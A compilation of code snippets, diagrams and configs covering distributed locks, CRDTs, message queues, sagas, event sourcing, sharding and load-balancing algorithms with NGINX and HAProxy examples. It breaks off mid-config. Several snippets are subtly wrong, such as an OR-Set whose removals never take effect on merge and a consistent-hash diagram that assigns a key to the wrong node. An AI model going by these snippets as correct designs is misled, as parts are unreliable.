class ORSet:
    def __init__(self):
        self.elements = {}  # {element: {unique_tags}}

    def add(self, element, unique_tag):
        if element not in self.elements:
            self.elements[element] = set()
        self.elements[element].add(unique_tag)

    def remove(self, element):
        if element in self.elements:
            # Remember tags to remove during merge
            self.removed_tags = self.elements[element].copy()
            del self.elements[element]

    def contains(self, element):
        return element in self.elements

    def merge(self, other):
        for element, tags in other.elements.items():
            if element not in self.elements:
                self.elements[element] = set()
            self.elements[element] |= tags

import redis

def acquire_lock(lock_name, timeout=10):
    lock_key = f"lock:{lock_name}"
    acquired = redis.set(
        lock_key,
        "locked",
        nx=True,  # Only if not exists
        ex=timeout  # Expires in timeout seconds
    )
    return acquired

def release_lock(lock_name):
    redis.delete(f"lock:{lock_name}")

# Usage
if acquire_lock("process-order-123"):
    try:
        process_order(123)
    finally:
        release_lock("process-order-123")

def acquire_redlock(lock_name, redis_instances):
    token = random_token()
    start_time = time.time()

    acquired = 0
    for redis in redis_instances:
        if redis.set(lock_name, token, nx=True, px=10000):
            acquired += 1

    elapsed = time.time() - start_time
    validity_time = 10000 - elapsed

    if acquired >= len(redis_instances) // 2 + 1 and validity_time > 0:
        return token, validity_time
    else:
        # Couldn't acquire majority, release all
        for redis in redis_instances:
            if redis.get(lock_name) == token:
                redis.delete(lock_name)
        return None

Process A acquires lock with token=1
Process A pauses (GC, network delay)
Lock expires
Process B acquires lock with token=2
Process B writes to resource
Process A wakes up, tries to write
Resource rejects (token 1 < current token 2)

current_token = 0

def write_with_token(data, token):
    global current_token

    if token > current_token:
        current_token = token
        do_write(data)
        return success
    else:
        return failure  # Stale token

Before partition:
[Leader A] --- [Follower B] --- [Follower C]

After partition:
[Leader A]  |  [Leader B, Follower C]
             |
        Network split

# Side with 2 nodes can elect leader
# Side with 1 node cannot (no majority)
[Leader A]  |  [Leader B, Follower C] ← Can elect new leader

# Tell storage to reject writes from old leader
storage.fence(old_leader_id)

Client → API → Process → Database → Response
         (waits for everything to complete)

Client → API → Queue → Response (fast)
                 ↓
              Worker → Process → Database
              (background)

Producer → [Queue] → Consumer
               ↓
           Message deleted after consumed

# Producer
queue.send({
    "order_id": "123",
    "user_id": "456",
    "total": 99.99
})

# Consumer
message = queue.receive()
process_order(message)
queue.delete(message)  # Acknowledge

               ┌→ Consumer A
Producer → [Topic] → Consumer B
               └→ Consumer C

# Publisher
topic.publish({
    "event": "user.signup",
    "user_id": "123",
    "email": "alice@example.com"
})

# Subscriber 1: Send welcome email
# Subscriber 2: Create user profile
# Subscriber 3: Track analytics

import pika

# Connect
connection = pika.BlockingConnection(
    pika.ConnectionParameters('localhost')
)
channel = connection.channel()

# Declare queue
channel.queue_declare(queue='tasks', durable=True)

# Publish
channel.basic_publish(
    exchange='',
    routing_key='tasks',
    body='Process this task',
    properties=pika.BasicProperties(
        delivery_mode=2,  # Persistent
    )
)

# Consume
def callback(ch, method, properties, body):
    print(f"Received {body}")
    ch.basic_ack(delivery_tag=method.delivery_tag)

channel.basic_consume(
    queue='tasks',
    on_message_callback=callback
)

channel.start_consuming()

from kafka import KafkaProducer, KafkaConsumer

# Producer
producer = KafkaProducer(
    bootstrap_servers=['localhost:9092']
)

producer.send('orders', b'{"order_id": 123}')
producer.flush()

# Consumer
consumer = KafkaConsumer(
    'orders',
    bootstrap_servers=['localhost:9092'],
    group_id='order-processors',
    auto_offset_reset='earliest'
)

for message in consumer:
    print(f"Processing: {message.value}")

import boto3

sqs = boto3.client('sqs')

# Send message
sqs.send_message(
    QueueUrl='https://sqs.us-east-1.amazonaws.com/123/myqueue',
    MessageBody='Process this order',
    MessageAttributes={
        'Priority': {'StringValue': 'high', 'DataType': 'String'}
    }
)

# Receive message
messages = sqs.receive_message(
    QueueUrl='...',
    MaxNumberOfMessages=10,
    WaitTimeSeconds=20  # Long polling
)

for message in messages.get('Messages', []):
    # Process
    process(message['Body'])

    # Delete
    sqs.delete_message(
        QueueUrl='...',
        ReceiptHandle=message['ReceiptHandle']
    )

import redis

r = redis.Redis()

# Queue with lists
r.lpush('tasks', '{"task": "send_email"}')

# Worker
while True:
    task = r.brpop('tasks', timeout=5)  # Blocking pop
    if task:
        process(task[1])

1. Receive message from queue
2. Process message
3. Send ACK
4. Queue deletes message

If no ACK: Message returns to queue (retry)

# Auto ACK (dangerous - lose messages)
channel.basic_consume(queue='tasks', auto_ack=True)

# Manual ACK (safe)
def callback(ch, method, properties, body):
    try:
        process(body)
        ch.basic_ack(delivery_tag=method.delivery_tag)
    except Exception as e:
        ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True)

Queue → Process → Success ✓
  ↓
Retry 3x → Still fails → DLQ

# RabbitMQ DLQ
channel.queue_declare(
    queue='tasks',
    arguments={
        'x-dead-letter-exchange': 'dlx',
        'x-max-retries': 3
    }
)

# SQS DLQ
sqs.create_queue(
    QueueName='tasks',
    Attributes={
        'RedrivePolicy': json.dumps({
            'deadLetterTargetArn': dlq_arn,
            'maxReceiveCount': '3'
        })
    }
)

Send: [A, B, C] → Receive: [A, B, C]

Send: [A, B, C] → Receive: [B, A, C] (possible)

# SQS FIFO
sqs.send_message(
    QueueUrl='https://sqs.us-east-1.amazonaws.com/123/myqueue.fifo',
    MessageBody='Task',
    MessageGroupId='user-123',  # Same group = ordered
    MessageDeduplicationId='unique-id'
)

RAM Queue → Crash → Messages lost

Disk Queue → Crash → Messages recovered

# RabbitMQ persistent
channel.queue_declare(queue='tasks', durable=True)
channel.basic_publish(
    exchange='',
    routing_key='tasks',
    body='data',
    properties=pika.BasicProperties(delivery_mode=2)
)

Web Request → Queue Task → Return immediately
                  ↓
               Worker picks up task
                  ↓
              Process (slow operation)

# API endpoint
@app.post('/upload')
def upload_image(image):
    # Save to storage
    storage.save(image)

    # Queue processing
    queue.send({
        'task': 'process_image',
        'image_id': image.id,
        'operations': ['resize', 'thumbnail', 'watermark']
    })

    return {'status': 'processing'}

# Worker
def worker():
    while True:
        task = queue.receive()
        if task['task'] == 'process_image':
            process_image(task['image_id'], task['operations'])

High Priority:   [A, B] → Process first
Medium Priority: [C, D] → Process next
Low Priority:    [E, F] → Process last

# With priority
queue.send(message, priority=10)  # High
queue.send(message, priority=5)   # Medium
queue.send(message, priority=1)   # Low

# Consumer gets highest priority first

Send message with delay=300s
  ↓
Wait 5 minutes
  ↓
Message becomes visible
  ↓
Consumer receives

# SQS delay
sqs.send_message(
    QueueUrl='...',
    MessageBody='Reminder email',
    DelaySeconds=300  # 5 minutes
)

# RabbitMQ delay
channel.basic_publish(
    exchange='delayed',
    routing_key='tasks',
    body='data',
    properties=pika.BasicProperties(
        headers={'x-delay': 5000}  # 5 seconds
    )
)

         Exchange
         /  |  \
        ↓   ↓   ↓
      Q1  Q2  Q3

# RabbitMQ fan-out
channel.exchange_declare(exchange='logs', exchange_type='fanout')

# Bind multiple queues
channel.queue_bind(exchange='logs', queue='email-service')
channel.queue_bind(exchange='logs', queue='sms-service')
channel.queue_bind(exchange='logs', queue='analytics')

# Publish once
channel.basic_publish(exchange='logs', routing_key='', body='event')
# All 3 queues receive the message

Event 1: UserCreated(id=123, name="Alice")
Event 2: EmailUpdated(id=123, email="new@example.com")
Event 3: UserDeleted(id=123)

State = Replay all events

# Store events
events = [
    {"type": "UserCreated", "data": {"id": 123, "name": "Alice"}},
    {"type": "EmailUpdated", "data": {"id": 123, "email": "new@..."}},
]

# Rebuild state
def get_user_state(user_id):
    user = None
    for event in events:
        if event['type'] == 'UserCreated':
            user = event['data']
        elif event['type'] == 'EmailUpdated':
            user['email'] = event['data']['email']
    return user

Commands (Write) → Event Store → Events
                                    ↓
                              Read Model DB
                                    ↑
Queries (Read) ← ← ← ← ← ← ← ← ← ←

# Command (write)
def create_order(order_data):
    event = {
        "type": "OrderCreated",
        "data": order_data,
        "timestamp": now()
    }
    event_store.append(event)
    event_bus.publish(event)

# Query (read)
def get_order_summary():
    return read_db.query("SELECT * FROM order_summary")

# Event handler updates read model
@event_handler('OrderCreated')
def update_read_model(event):
    read_db.execute(
        "INSERT INTO order_summary VALUES (...)",
        event['data']
    )

Service A → Success → Service B → Success → Service C
                ↓
              Failure → Compensate A

# Order saga
def process_order(order):
    # Step 1: Reserve inventory
    inventory_result = inventory_service.reserve(order.items)
    if not inventory_result.success:
        return fail("Inventory unavailable")

    # Step 2: Charge payment
    payment_result = payment_service.charge(order.total)
    if not payment_result.success:
        # Compensate: Release inventory
        inventory_service.release(order.items)
        return fail("Payment failed")

    # Step 3: Create shipment
    shipment_result = shipping_service.create(order)
    if not shipment_result.success:
        # Compensate: Refund payment
        payment_service.refund(payment_result.id)
        # Compensate: Release inventory
        inventory_service.release(order.items)
        return fail("Shipping failed")

    return success("Order completed")

# Non-idempotent (bad)
def process(message):
    balance = get_balance(user_id)
    set_balance(user_id, balance + 100)  # Duplicate = double credit!

# Idempotent (good)
def process(message):
    if processed_messages.exists(message.id):
        return  # Already processed

    balance = get_balance(user_id)
    set_balance(user_id, balance + 100)
    processed_messages.add(message.id)

def process_message(message):
    try:
        # Process
        result = process(message.body)
    except Exception as e:
        message.retry_count += 1

        if message.retry_count > 3:
            # Move to DLQ
            dlq.send(message)
            logger.error(f"Poison message: {message.id}")
        else:
            # Retry with backoff
            queue.send(message, delay=2 ** message.retry_count)

# Instead of 1 at a time
messages = queue.receive_batch(max_messages=10)

# Batch insert to DB
db.bulk_insert([process(m) for m in messages])

# Batch ACK
queue.delete_batch([m.receipt_handle for m in messages])

# Queue metrics
metrics = {
    'messages_in_queue': queue.size(),
    'messages_in_flight': queue.in_flight(),
    'oldest_message_age': queue.oldest_age(),
    'consumer_count': queue.consumers()
}

# Alerts
if metrics['messages_in_queue'] > 10000:
    alert("Queue backing up!")

if metrics['oldest_message_age'] > 3600:
    alert("Messages not being processed!")

1. Order Service: Create order → Emit OrderCreated event
2. Inventory Service: Reserve items → Emit ItemsReserved (or ReservationFailed)
3. Payment Service: Charge customer → Emit PaymentSucceeded (or PaymentFailed)
4. Shipping Service: Schedule shipment → Emit ShipmentScheduled

If any step fails:
- Emit failure event
- Previous services listen and execute compensating transactions

Orchestrator:
1. Call Order Service: Create order
2. Call Inventory Service: Reserve items
   - If fails: Call Order Service: Cancel order → END
3. Call Payment Service: Charge customer
   - If fails: Call Inventory: Release items → Call Order: Cancel → END
4. Call Shipping Service: Schedule shipment
   - If fails: Call Payment: Refund → Call Inventory: Release → Call Order: Cancel → END

User account table: { id: 1, name: "Alice", email: "alice@example.com", balance: 1000 }
Update balance → Overwrite value

Events:
1. UserCreated(id=1, name="Alice", email="alice@example.com")
2. DepositMade(id=1, amount=1000)
3. WithdrawalMade(id=1, amount=200)
4. DepositMade(id=1, amount=200)

Current state = replay all events
Balance = 0 + 1000 - 200 + 200 = 1000

Initial state: empty
Apply UserCreated → { id: 1, name: "Alice", email: "alice@example.com", balance: 0 }
Apply DepositMade → { balance: 1000 }
Apply WithdrawalMade → { balance: 800 }
Apply DepositMade → { balance: 1000 }

Events 1-1000: Snapshot at event 1000 (balance = 5000)
Events 1001-1500: Current state
To get current state: Load snapshot + replay events 1001-1500

Commands (Write):
- CreateOrder
- AddOrderItem
- PlaceOrder
→ Generate events: OrderCreated, ItemAdded, OrderPlaced
→ Store in event log

Events published →

Read Models (Query):
1. Order details view: Relational table with current order state
2. Order history view: Timeline of order changes
3. Analytics view: Aggregated sales data
4. Search index: Elasticsearch for order search

User A (DC1): Update title = "Distributed Systems"
User B (DC2): Update title = "Distributed Computing"
Both writes succeed locally, then replicate to each other
→ Conflict!

Initial: {}
Write A: {A:1} value="Alice"
Write B: {B:1} value="Bob"
Replicate A→B: {A:1, B:1} (conflict detected!)
Replicate B→A: {A:1, B:1} (conflict detected!)
→ Application resolves: {A:1, B:1} value="Alice, Bob"

Initial: "Hello"
Op1: Insert("World", position=5)  → "HelloWorld"
Op2: Delete(position=0, length=1) → "ello"

Transform Op1 for Op2: Insert("World", position=4)  → "elloWorld"
Both paths converge to same result

A-F → Shard 1
G-M → Shard 2
N-Z → Shard 3

hash(user_id) % num_shards → shard_id

Lookup table:
user_id=1 → Shard A
user_id=2 → Shard A
user_id=3 → Shard B

Ring: [Node A at 0, Node B at 1000, Node C at 2000]
Key X hashes to 1500 → belongs to Node C

Partition 1: Users A-M, index on age for users A-M
Partition 2: Users N-Z, index on age for users N-Z

Query "age=25": Query both partitions, merge results

Data partitions: by user_id
Index partition 1: age 0-25
Index partition 2: age 26-50
Index partition 3: age 51+

Query "age=25": Query index partition 1 only, then fetch data

1. Check cache
2. If miss: Read from database, write to cache, return data
3. If hit: Return data from cache
On write: Invalidate cache (or update)

Traffic split:
- 95% to v1 (stable)
- 5% to v2 (canary)

Monitor metrics, gradually increase v2 traffic

- Blue: Current production version
- Green: New version
- Switch traffic instantly: 100% Blue → 100% Green
- Quick rollback if issues

Route based on user attributes:
- Premium users → v2 (new features)
- Regular users → v1 (stable)

Send production traffic to:
- Primary: v1 (serves responses)
- Shadow: v2 (responses discarded)

Test v2 with real traffic, no user impact

Example (Istio):
- Allow service A to call service B on /api/data
- Deny all other access to service B
- Require JWT token for external traffic

enable.idempotence=true
- Prevents duplicate messages on retry
- Maintains ordering per partition

Atomic writes to multiple partitions
Exactly-once semantics (with transactional consumers)

1. Read messages
2. Process messages
3. Save results + commit offsets in transaction

Pod:
- Main container: Application
- Sidecar: Log collector, metrics exporter, proxy

Sidecar acts as proxy for external services
- Main container: Connects to localhost
- Ambassador: Handles connection pooling, retry logic, circuit breaking

Sidecar standardizes and normalizes output
- Main container: Legacy app with custom log format
- Adapter: Converts logs to standard format

Runs before main containers
- Setup tasks (download files, wait for dependencies)
- Security (set permissions, scan for vulnerabilities)

Job: Run to completion (batch processing)
CronJob: Scheduled execution (backups, reports)

If CPU > 80%: Add pods
If CPU < 20%: Remove pods

Example: GPU workloads on GPU nodes

Anti-affinity: Spread replicas across availability zones
Affinity: Place cache pods near compute pods

Taint node for dedicated workloads
Only pods with matching toleration can schedule

Example:
- Allow frontend pods to call backend pods on port 8080
- Deny all other traffic to backend

Cache-Control: public, max-age=3600
- Public: Can be cached by CDN
- max-age: Cache for 1 hour

API Gateway → Lambda → DynamoDB
- Scalable REST API
- No server management

Kinesis/Kafka → Lambda → S3/Database
- Real-time data processing
- Auto-scaling with stream shards

CloudWatch Events (cron) → Lambda
- Periodic tasks (cleanup, reports)

S3 upload → Lambda (resize image) → S3
- Event-driven processing

External service → API Gateway → Lambda
- Handle incoming webhooks

Single GraphQL server
- Monolithic schema
- All resolvers in one codebase
- Doesn't scale for large teams

Multiple GraphQL services (subgraphs)
- Each owns part of schema
- Gateway composes and routes queries
- Teams work independently

# Products subgraph
type Product @key(fields: "id") {
  id: ID!
  name: String!
  price: Float!
}

# Reviews subgraph (extends Product)
extend type Product @key(fields: "id") {
  id: ID! @external
  reviews: [Review!]!
}

query {
  product(id: "123") {
    name       # Products subgraph
    price      # Products subgraph
    reviews {  # Reviews subgraph
      rating
      comment
    }
  }
}

                    Internet
                       ↓
                 Load Balancer
                 /     |     \
                /      |      \
           Server1  Server2  Server3
              ↓        ↓        ↓
           Database Database Database

1. Client sends request to VIP (e.g., www.example.com)
   ↓
2. DNS resolves to load balancer IP
   ↓
3. Load balancer receives connection
   ↓
4. Algorithm selects backend server
   ↓
5. Load balancer forwards request
   ↓
6. Backend processes and responds
   ↓
7. Load balancer returns response to client

Client → Load Balancer → Server
         (modifies packets)

Request:  Client → Load Balancer → Server
Response: Server → Client (bypasses LB)

Client → Load Balancer → Server
         (Layer 2/3 only)

Layer 7: Application (HTTP, HTTPS, gRPC)  ← L7 Load Balancing
Layer 6: Presentation (SSL/TLS)
Layer 5: Session
Layer 4: Transport (TCP, UDP)             ← L4 Load Balancing
Layer 3: Network (IP)
Layer 2: Data Link (MAC)
Layer 1: Physical

Incoming Packet:
  Source IP: 192.168.1.100
  Source Port: 54321
  Dest IP: 10.0.0.1 (VIP)
  Dest Port: 80
  Protocol: TCP

Load Balancer Decision:
  Algorithm: Round Robin
  Selected Backend: 10.0.0.10:80

Forwarded Packet:
  Source IP: 10.0.0.1 (LB IP)
  Source Port: 12345
  Dest IP: 10.0.0.10
  Dest Port: 80
  Protocol: TCP

frontend mysql_frontend
    bind *:3306
    mode tcp
    default_backend mysql_backend

backend mysql_backend
    mode tcp
    balance roundrobin
    server mysql1 10.0.1.10:3306 check
    server mysql2 10.0.1.11:3306 check
    server mysql3 10.0.1.12:3306 check

HTTP Request:
  GET /api/users/123 HTTP/1.1
  Host: api.example.com
  Cookie: session=abc123
  User-Agent: Mobile App
  X-API-Version: v2

Load Balancer Decisions:
  ✓ Route based on path (/api/users → User Service)
  ✓ Route based on header (X-API-Version: v2 → V2 Servers)
  ✓ Sticky session (session=abc123 → Server 2)
  ✓ Device routing (Mobile App → Mobile Optimized Servers)

http {
    upstream api_servers {
        server 10.0.1.10:8080;
        server 10.0.1.11:8080;
        server 10.0.1.12:8080;
    }

    upstream static_servers {
        server 10.0.2.10:8080;
        server 10.0.2.11:8080;
    }

    server {
        listen 80;
        server_name api.example.com;

        # Route API requests
        location /api/ {
            proxy_pass http://api_servers;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }

        # Route static content
        location /static/ {
            proxy_pass http://static_servers;
        }

        # Health check endpoint
        location /health {
            access_log off;
            return 200 "healthy\n";
        }
    }
}

            Internet
               ↓
    L7 Load Balancer (NGINX)
    /                    \
   /                      \
L4 LB (TCP)            L4 LB (TCP)
  ↓  ↓                   ↓  ↓
DB Servers           Cache Servers

Request 1 → Server A
Request 2 → Server B
Request 3 → Server C
Request 4 → Server A (cycle repeats)
Request 5 → Server B
Request 6 → Server C

class RoundRobinLoadBalancer:
    def __init__(self, servers):
        self.servers = servers
        self.current = 0

    def get_server(self):
        server = self.servers[self.current]
        self.current = (self.current + 1) % len(self.servers)
        return server

# Usage
lb = RoundRobinLoadBalancer(['server1', 'server2', 'server3'])
print(lb.get_server())  # server1
print(lb.get_server())  # server2
print(lb.get_server())  # server3
print(lb.get_server())  # server1

upstream backend {
    # Round robin is the default
    server backend1.example.com;
    server backend2.example.com;
    server backend3.example.com;
}

Servers:
  Server A: weight = 5
  Server B: weight = 3
  Server C: weight = 2

Distribution (out of 10 requests):
  Server A: 5 requests (50%)
  Server B: 3 requests (30%)
  Server C: 2 requests (20%)

Sequence:
Request 1 → Server A
Request 2 → Server A
Request 3 → Server B
Request 4 → Server A
Request 5 → Server C
Request 6 → Server A
Request 7 → Server B
Request 8 → Server A
Request 9 → Server B
Request 10 → Server C

class WeightedRoundRobinLoadBalancer:
    def __init__(self, servers):
        # servers = [('server1', 5), ('server2', 3), ('server3', 2)]
        self.servers = []
        for server, weight in servers:
            self.servers.extend([server] * weight)
        self.current = 0

    def get_server(self):
        server = self.servers[self.current]
        self.current = (self.current + 1) % len(self.servers)
        return server

# Advanced: Smooth Weighted Round Robin (Nginx algorithm)
class SmoothWeightedRoundRobin:
    def __init__(self, servers):
        # servers = [('server1', 5), ('server2', 1), ('server3', 1)]
        self.servers = [
            {'name': name, 'weight': weight, 'current_weight': 0}
            for name, weight in servers
        ]

    def get_server(self):
        total_weight = sum(s['weight'] for s in self.servers)

        # Increase current_weight by weight
        for server in self.servers:
            server['current_weight'] += server['weight']

        # Select server with highest current_weight
        selected = max(self.servers, key=lambda s: s['current_weight'])

        # Decrease selected server's current_weight by total
        selected['current_weight'] -= total_weight

        return selected['name']

# Usage
lb = SmoothWeightedRoundRobin([('server1', 5), ('server2', 1), ('server3', 1)])
for i in range(7):
    print(f"Request {i+1}: {lb.get_server()}")
# Output: server1, server1, server2, server1, server3, server1, server1

backend app_backend
    balance roundrobin
    server app1 10.0.1.10:8080 weight 5 check
    server app2 10.0.1.11:8080 weight 3 check
    server app3 10.0.1.12:8080 weight 2 check

upstream backend {
    server stable-v1.example.com:8080 weight=9;    # 90% traffic
    server canary-v2.example.com:8080 weight=1;    # 10% traffic
}

Current State:
  Server A: 5 active connections
  Server B: 3 active connections  ← Selected
  Server C: 8 active connections

New request → Server B (least connections)

After routing:
  Server A: 5 active connections
  Server B: 4 active connections
  Server C: 8 active connections

class LeastConnectionsLoadBalancer:
    def __init__(self, servers):
        self.servers = {server: 0 for server in servers}

    def get_server(self):
        # Select server with minimum connections
        server = min(self.servers, key=self.servers.get)
        self.servers[server] += 1
        return server

    def release_connection(self, server):
        if server in self.servers:
            self.servers[server] = max(0, self.servers[server] - 1)

# Usage
lb = LeastConnectionsLoadBalancer(['server1', 'server2', 'server3'])

# Simulate requests
s1 = lb.get_server()  # server1 (all have 0, pick first)
print(f"Request 1: {s1}, Connections: {lb.servers}")

s2 = lb.get_server()  # server2 (least connections)
print(f"Request 2: {s2}, Connections: {lb.servers}")

lb.release_connection(s1)  # server1 completes
print(f"After release: {lb.servers}")

upstream backend {
    least_conn;
    server backend1.example.com;
    server backend2.example.com;
    server backend3.example.com;
}

backend app_backend
    balance leastconn
    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check
    server app3 10.0.1.12:8080 check

Servers:
  Server A: 10 connections, weight = 2  → ratio = 10/2 = 5.0
  Server B: 6 connections, weight = 1   → ratio = 6/1 = 6.0
  Server C: 4 connections, weight = 3   → ratio = 4/3 = 1.33 ← Selected

New request → Server C (lowest connections-to-weight ratio)

class WeightedLeastConnectionsLoadBalancer:
    def __init__(self, servers):
        # servers = [('server1', 5), ('server2', 3), ('server3', 2)]
        self.servers = {
            server: {'weight': weight, 'connections': 0}
            for server, weight in servers
        }

    def get_server(self):
        # Calculate connection-to-weight ratio
        server = min(
            self.servers.items(),
            key=lambda x: x[1]['connections'] / x[1]['weight']
        )[0]

        self.servers[server]['connections'] += 1
        return server

    def release_connection(self, server):
        if server in self.servers:
            self.servers[server]['connections'] = max(
                0, self.servers[server]['connections'] - 1
            )

# Usage
lb = WeightedLeastConnectionsLoadBalancer([
    ('server1', 5),  # High capacity
    ('server2', 3),  # Medium capacity
    ('server3', 2)   # Low capacity
])

backend app_backend
    balance leastconn
    server app1 10.0.1.10:8080 weight 5 check
    server app2 10.0.1.11:8080 weight 3 check
    server app3 10.0.1.12:8080 weight 2 check

Client IP: 192.168.1.100
Hash: hash('192.168.1.100') = 12345
Server: 12345 % 3 = 0 → Server A

Client always routes to Server A (unless it fails)

import hashlib

class IPHashLoadBalancer:
    def __init__(self, servers):
        self.servers = servers

    def get_server(self, client_ip):
        # Hash the client IP
        hash_value = int(hashlib.md5(client_ip.encode()).hexdigest(), 16)
        # Select server based on hash
        index = hash_value % len(self.servers)
        return self.servers[index]

# Usage
lb = IPHashLoadBalancer(['server1', 'server2', 'server3'])

print(lb.get_server('192.168.1.100'))  # Always same server
print(lb.get_server('192.168.1.100'))  # Same as above
print(lb.get_server('192.168.1.101'))  # Different server

upstream backend {
    ip_hash;
    server backend1.example.com;
    server backend2.example.com;
    server backend3.example.com;
}

backend app_backend
    balance source
    hash-type consistent
    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check
    server app3 10.0.1.12:8080 check

Original: 3 servers
  Client A → hash % 3 = 1 → Server B

After adding 4th server:
  Client A → hash % 4 = 2 → Server C (CHANGED!)

Result: Many clients re-mapped, cache invalidated

Hash Ring (0-360):
  Server A: position 45
  Server B: position 150
  Server C: position 270

Client IP: 192.168.1.100
  Hash: 200
  Assigned to: Server C (next clockwise: 270)

Client IP: 192.168.1.101
  Hash: 50
  Assigned to: Server B (next clockwise: 150)

If Server B fails:
  Previous Server B clients → Server C
  Server A and C clients: UNCHANGED ✓

import hashlib
import bisect

class ConsistentHashLoadBalancer:
    def __init__(self, servers, replicas=3):
        self.replicas = replicas
        self.ring = {}
        self.sorted_keys = []

        for server in servers:
            self.add_server(server)

    def _hash(self, key):
        return int(hashlib.md5(key.encode()).hexdigest(), 16)

    def add_server(self, server):
        # Add virtual nodes for better distribution
        for i in range(self.replicas):
            virtual_key = f"{server}:{i}"
            hash_value = self._hash(virtual_key)
            self.ring[hash_value] = server
            bisect.insort(self.sorted_keys, hash_value)

    def remove_server(self, server):
        for i in range(self.replicas):
            virtual_key = f"{server}:{i}"
            hash_value = self._hash(virtual_key)
            del self.ring[hash_value]
            self.sorted_keys.remove(hash_value)

    def get_server(self, client_key):
        if not self.ring:
            return None

        hash_value = self._hash(client_key)

        # Find the first server clockwise
        index = bisect.bisect_right(self.sorted_keys, hash_value)
        if index == len(self.sorted_keys):
            index = 0

        return self.ring[self.sorted_keys[index]]

# Usage
lb = ConsistentHashLoadBalancer(['server1', 'server2', 'server3'], replicas=150)

# Test distribution
from collections import Counter
distribution = Counter()
for i in range(1000):
    server = lb.get_server(f'client_{i}')
    distribution[server] += 1

print("Distribution:", distribution)
# Output: Distribution: Counter({'server2': 339, 'server1': 334, 'server3': 327})

# Add a server - minimal remapping
lb.add_server('server4')

Hash Ring with Virtual Nodes (replicas=3):

   0° ─────────────────────────────────── 360°
   ↓                                       ↓
[S1:0] [S2:0] [S3:0] [S1:1] [S2:1] [S3:1] [S1:2] [S2:2] [S3:2]
  45°   80°   120°   180°   210°   240°   290°   320°   350°

Better distribution with more replicas (150+)

upstream backend {
    hash $request_uri consistent;
    server backend1.example.com;
    server backend2.example.com;
    server backend3.example.com;
}

Scenario: 3 servers → 4 servers

IP Hash:
  Remapped clients: ~75% (3/4 of all clients)

Consistent Hashing (150 replicas):
  Remapped clients: ~25% (only 1/4 of clients)

Current Metrics:
  Server A: 50ms avg, 5 connections  → score = 50 * 5 = 250
  Server B: 30ms avg, 8 connections  → score = 30 * 8 = 240 ← Selected
  Server C: 40ms avg, 10 connections → score = 40 * 10 = 400

New request → Server B (lowest score)

import time
from collections import deque

class LeastResponseTimeLoadBalancer:
    def __init__(self, servers, window_size=100):
        self.servers = {
            server: {
                'response_times': deque(maxlen=window_size),
                'connections': 0
            }
            for server in servers
        }

    def get_server(self):
        def calculate_score(server_data):
            avg_time = (
                sum(server_data['response_times']) / len(server_data['response_times'])
                if server_data['response_times']
                else 0
            )
            connections = server_data['connections']
            return avg_time * (connections + 1)  # +1 to avoid zero

        server = min(self.servers.items(), key=lambda x: calculate_score(x[1]))[0]
        self.servers[server]['connections'] += 1
        return server

    def record_response_time(self, server, response_time):
        if server in self.servers:
            self.servers[server]['response_times'].append(response_time)

    def release_connection(self, server):
        if server in self.servers:
            self.servers[server]['connections'] = max(
                0, self.servers[server]['connections'] - 1
            )

# Usage
lb = LeastResponseTimeLoadBalancer(['server1', 'server2', 'server3'])

# Simulate request handling
start = time.time()
server = lb.get_server()
# ... process request ...
response_time = time.time() - start
lb.record_response_time(server, response_time)
lb.release_connection(server)

upstream backend {
    least_time header;  # or 'last_byte' for full response time
    server backend1.example.com;
    server backend2.example.com;
    server backend3.example.com;
}

import random

class RandomLoadBalancer:
    def __init__(self, servers):
        self.servers = servers

    def get_server(self):
        return random.choice(self.servers)

# Weighted random
class WeightedRandomLoadBalancer:
    def __init__(self, servers):
        # servers = [('server1', 5), ('server2', 3), ('server3', 2)]
        self.servers = []
        self.weights = []
        for server, weight in servers:
            self.servers.append(server)
            self.weights.append(weight)

    def get_server(self):
        return random.choices(self.servers, weights=self.weights, k=1)[0]

# Usage
lb = WeightedRandomLoadBalancer([
    ('server1', 5),
    ('server2', 3),
    ('server3', 2)
])

class ResourceBasedLoadBalancer:
    def __init__(self, servers):
        self.servers = servers

    def get_server_metrics(self, server):
        # In real implementation, query server metrics
        # via monitoring system (Prometheus, CloudWatch, etc.)
        return {
            'cpu_usage': 45.2,      # percentage
            'memory_usage': 60.1,   # percentage
            'connections': 120,
            'disk_io': 30.5         # percentage
        }

    def calculate_load_score(self, metrics):
        # Lower score = better
        return (
            metrics['cpu_usage'] * 0.4 +
            metrics['memory_usage'] * 0.3 +
            metrics['disk_io'] * 0.2 +
            (metrics['connections'] / 1000) * 0.1
        )

    def get_server(self):
        server_scores = {}
        for server in self.servers:
            metrics = self.get_server_metrics(server)
            server_scores[server] = self.calculate_load_score(metrics)

        return min(server_scores, key=server_scores.get)

Load Balancer sends probes every 5 seconds:
  ↓
Server responds with health status
  ↓
LB marks server as healthy or unhealthy

Client request → Server
  ↓
Server returns 500 error
  ↓
LB increments error count
  ↓
If errors > threshold: mark unhealthy

# Simple TCP connection
nc -zv server1.example.com 8080

# HTTP GET request
curl -f http://server1.example.com/health

# Flask example
from flask import Flask, jsonify
import psutil

app = Flask(__name__)

@app.route('/health')
def health_check():
    # Check database connection
    db_healthy = check_database_connection()

    # Check CPU usage
    cpu_usage = psutil.cpu_percent()

    # Check memory
    memory = psutil.virtual_memory()

    if db_healthy and cpu_usage < 90 and memory.percent < 90:
        return jsonify({
            'status': 'healthy',
            'cpu': cpu_usage,
            'memory': memory.percent,
            'database': 'connected'
        }), 200
    else:
        return jsonify({
            'status': 'unhealthy',
            'cpu': cpu_usage,
            'memory': memory.percent,
            'database': 'connected' if db_healthy else 'disconnected'
        }), 503

def check_database_connection():
    try:
        # Check database
        db.execute('SELECT 1')
        return True
    except:
        return False

@app.route('/health/deep')
def deep_health_check():
    checks = {
        'database': check_database(),
        'cache': check_cache(),
        'message_queue': check_message_queue(),
        'external_api': check_external_api(),
        'disk_space': check_disk_space(),
    }

    all_healthy = all(checks.values())
    status_code = 200 if all_healthy else 503

    return jsonify({
        'status': 'healthy' if all_healthy else 'unhealthy',
        'checks': checks
    }), status_code

upstream backend {
    server backend1.example.com:8080;
    server backend2.example.com:8080;
    server backend3.example.com:8080;
}

server {
    listen 80;

    location / {
        proxy_pass http://backend;

        # Passive health checks
        proxy_next_upstream error timeout http_500 http_502 http_503;
        proxy_connect_timeout 2s;
        proxy_read_timeout 5s;
    }
}

# NGINX Plus - Active health checks
upstream backend {
    zone backend 64k;
    server backend1.example.com:8080;
